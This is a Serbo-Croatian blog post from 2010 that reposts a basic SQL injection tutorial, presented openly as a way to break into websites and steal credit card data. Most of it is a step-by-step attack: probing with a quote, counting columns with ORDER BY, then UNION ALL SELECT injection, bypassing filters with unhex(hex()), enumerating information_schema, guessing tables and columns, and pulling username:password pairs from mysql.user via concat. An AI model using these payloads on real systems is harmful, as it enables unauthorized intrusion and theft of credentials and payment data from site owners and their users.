Претражи овај блог

понедељак, 4. јануар 2010.

SQL (tu se ubraja i krada kreditnih kartica)

SQL (tu se ubraja i krada kreditnih kartica)

Sami ste htjeli da nucite "hackat" kreditne kartice (CC),pa da i vidite na kraju kako malo izgleda ono napredniji hack :D.Ovo je na neki nacin i hackanje web stranica ulazak u njenu bazu i kupljenje svih podataka pa tako i CC....Ovo su tek osnove da samo vidite da ste se pozurili sa zahtjevima za hack ;)

Sql injection BASIC
#####################################################################################
tutorial by SHUMA (Bivsi vlasnik L4H Tima
#####################################################################################

UVOD
Sql injection je jedan od najrasprostranjenijih, ako ne i najrasprostranjeniji propust u sigurnosti web aplikacija. Preko sql injectiona možemo pristupiti podacima za koje bi nam inače trebale specijalne privilegije. Obično možemo pročitati korisnička imena(username), lozinke (password), i ostale privatne podatke iz baze podataka na stranici. Baza podataka je “mjesto” na stranici gdje se čuvaju podaci. Sastoji se od tabela (TABLE), a svaka tabela se sastoji od stupaca (COLUMN).U daljnjem tekstu ću koristiti engleske nazive, tj. tables i columns
u sql naredbama izbor stupaca i tabela obično izgleda ovako:
SELECT column FROM table WHERE id = 16
ako pretpostavimo da se table zove korisnici, a sadrži columne ID, IME i PREZIME, onda će sql naredba izgledati ovako:
SELECT ime FROM korisnici WHERE id = 16
U linku će to otprilike izgledati ovako:
www.nekastranica.com/korisnik.php?id=16

PROVJERA RANJIVOSTI
ako na naš link dodamo ‘ na kraju, primjer: www.nekastranica.com/korisnik.php?id=16’
ako nam izbaci neki od ovih errora, stranica je ranjiva
• Error: Warning: mysql_fetch_assoc():......
• Warning: mysql_num_rows():........
• You have an error in your SQL syntax.....
• "MySQL Syntax Error By '1''
Ako izbaci takav ili sličan error, stranice je ranjiva.
PRONALAŽENJE BROJA COLUMNA
Broj columna ćemo otkriti naredbom order by
primjer www.nekastranica.com/korisnik.php?id=16+order +by+1--
Umjesto razmaka možemo stavljati znak “+” bez navodnika.
Na kraju cijelog linka stavljamo znakove “--“ ili “/*” bez navodnika. Ponekad se zna dogoditi da jedan od tih znakova uzrokuje error. Ako je tako, koristimo ovaj drugi.
primjer www.nekastranica.com/korisnik.php?id=16+order +by+1--
znači, ako nije izbacilo nikakav error, povećavamo ovaj broj na kraju za 1
primjer www.nekastranica.com/korisnik.php?id=16+order +by+2--
primjer www.nekastranica.com/korisnik.php?id=16+order +by+3--
i tako idemo sve dok ne dobijemo error.Kada se error pojavi, to znači da smo dosegli maksimum.Vraćamo se jedan broj u nazad. To je naš broj columna.
znači, ako smo dobili error primjer www.nekastranica.com/korisnik.php?id=16+order +by+13-- , znači da imamo 12 columna.
ako smo dobili error primjer www.nekastranica.com/korisnik.php?id=16+order +by+9-- , znači da imamo 8 columna.
Nadam se da ste ovo shvatili. Idemo dalje.
UNION KOMANDA
Kada smo otkrili broj columna, vrijeme je da otkrijemo preko kojega možemo injectati. To ćemo uraditi naredbom UNION SELECT ili UNION ALL SELECT. Preporučujem drugu, jer kod prve zna češće doći do errora.
To će izgledati otprilike ovako. Recimo da naš site ima 12 columna. UNION komanda za to će izgledati
primjer www.nekastranica.com/korisnik.php?id=16 ... 10,11,12--
kada to izvršimo taj link u našem browseru, na stranici će se pojaviti neki brojevi koji prije nisu bili. Trebamo zapamtiti te brojeve. Preko njih ćemo izvršiti ostale korake.Ako se nikakvi brojevi ne vide na stranici, a nema ni errora, na kraju linka treba dodati “LIMIT+1,1” bez navodnika. Tada će se brojevi vjerojatno pojaviti. Recimo da smo dobili brojeve 3 i 5.
primjer www.nekastranica.com/korisnik.php?id=16 ... IMIT+1,1--
VERSION KOMANDA
Sada trebamo provjeriti mysql verziju. To ćemo uraditi tako da umjesto jednog broja iz predhodnog koraka (u našem slučaju 3 i 5) upišemo “version()” ili “@@version”.
primjer www.nekastranica.com/korisnik.php?id=16 ... 10,11,12--
Sad bi nam trebalo prikazati mysql verziju u obliku 4.0.16 ili 5.0.26 ili slično.
Ako je mysql verzija veća od 5, možemo koristiti information_schemu za dobivanje naziva tablea i columna. Ako je manja od 5, morat ćemo pogađati nazive.
Neke stranice imaju zabranu korištenja komande UNION, tako da nećete moći provjeriti mysql verziju. To se lako riješava funkcijama unhex(hex()). Na našem primjeru, to bi izgledalo ovako:
primjer www.nekastranica.com/korisnik.php?id=16 ... x(@@ersion)),4,5,6,7,8,9,10,11,12--
Na taj način možete zaobići zaštitu i na ostalim komandama, ne treba nužno biti version komanda.

AKO JE MYSQL VERZIJA VEĆA OD 5
Ako je myslq verzija veća od 5, iskoristit ćemo information_schema za dobivanje imena columna i tablea.
za dobivanje imena table-a: umjesto broja koji smo dobili UNION SELECT naredbom stavljamo “table_name” bez navodnika, a na kraju cijelog linka dodajemo “from+information_schema.tables” bez navodnika. U našem primjeru to bi izgledalo ovako:
primjer www.nekastranica.com/korisnik.php?id=16 ... a.tables--
za dobivanje columna koristimo sljedeće: umjesto broja koji smo dobili UNION SELECT naredbom stavljamo “column_name” bez navodnika, a na kraju cijelog linka dodajemo “from+information_schema.columns” bez navodnika. U našem primjeru to bi izgledalo ovako:
primjer www.nekastranica.com/korisnik.php?id=16 ... .columns--
za dobivanje svih baza na nekoj stranici koristimo sljedeće: umjesto broja koji smo dobili UNION SELECT naredbom stavljamo “schema_name” bez navodnika, a na kraju cijelog linka dodajemo “from+information_schema.schemata” bez navodnika. U našem primjeru to bi izgledalo ovako:
primjer www.nekastranica.com/korisnik.php?id=16 ... schemata--

Ako se vidi samo jedan naziv, a ne cijela lista, pogledajte sljedeći odjeljak.

NAREDBA LIMIT
Ako se od traženih podataka vidi samo jedan redak, a ne cijela lista, moramo koristiti naredbu LIMIT. Naredba LIMIT se koristi tako da na kraju cijelog linka doda naredba “limit+početni_redak,broj_sljedećih redaka”. Zapravo to izgleda ovako “limit+0,1”. 0 je redak od kojeg se počinje ispisivati, a 1 je broj redaka koji će se ispisati. “limit+2+6”, znači da se počinje ispisivati od drugog retka i ispisuje 6 sljedećih redaka. Nadam se da ste shvatili ovo. U našem slučaju, na kraj dodajemo ovo:
primjer www.nekastranica.com/korisnik.php?id=16 ... imit+1,1-- kada pročitate podatke, idete na sljedeći redak
primjer www.nekastranica.com/korisnik.php?id=16 ... imit+2,1-- kada pročitate podatke, idete na sljedeći redak
primjer www.nekastranica.com/korisnik.php?id=16 ... imit+3,1-- kada pročitate podatke, idete na sljedeći redak
ITD.....Nadam se da ste shvatili ovaj dio.

AKO JE MYSQL VERZIJA MANJA OD 4
Onda morate pogađati imena columna i tablesa.
Uobičajena table imena
• mysql.user
• user
• users
• admin
• admins
• administrator
• login
• korisnici
Uobičajena column imena
• username
• name
• user
• ime
• korisnik
• password
• pass
• passwd
• psw
• lozinka

DOBIVANJE PODATAKA
Sada kada imamo imena columna i tablea možemo napraviti završni korak. Dobivanje podataka iz baze. To možemo postići na ovaj način: SELECT column FROM table, ili što nama treba SELECT username,password FROM mysql.user. U našem slučaju, brojeve 3 i 5 mijenjamo za imena columna, a na kraju dodajemo “FROM ime_tablice”
Na našem primjeru bi to trebalo ovako izgledati
primjer www.nekastranica.com/korisnik.php?id=16 ... sql.user--
I to je to. Dobili smo naše podatke. Postoji još i concat naredba, koja je jednostavnija za korištenje jer pomoću nje možemo zapisati više columna na isto “mjesto”, tj. umjesto jednog broja
primjer www.nekastranica.com/korisnik.php?id=16 ... rname,0x3a, password),4,5 ,6,7,8,9,10,11,12+from+mysql.user—
0x3a je samo zamjena za znak “:”
Nadam se da sam vam malo približio osnove sql injectiona. Ovo su samo osnovne tehnike, a o malo kompliciranijima(load_file, zaobilaženje filtera, ...)

Нема коментара:

Постави коментар

Napisite ovde svoj komentar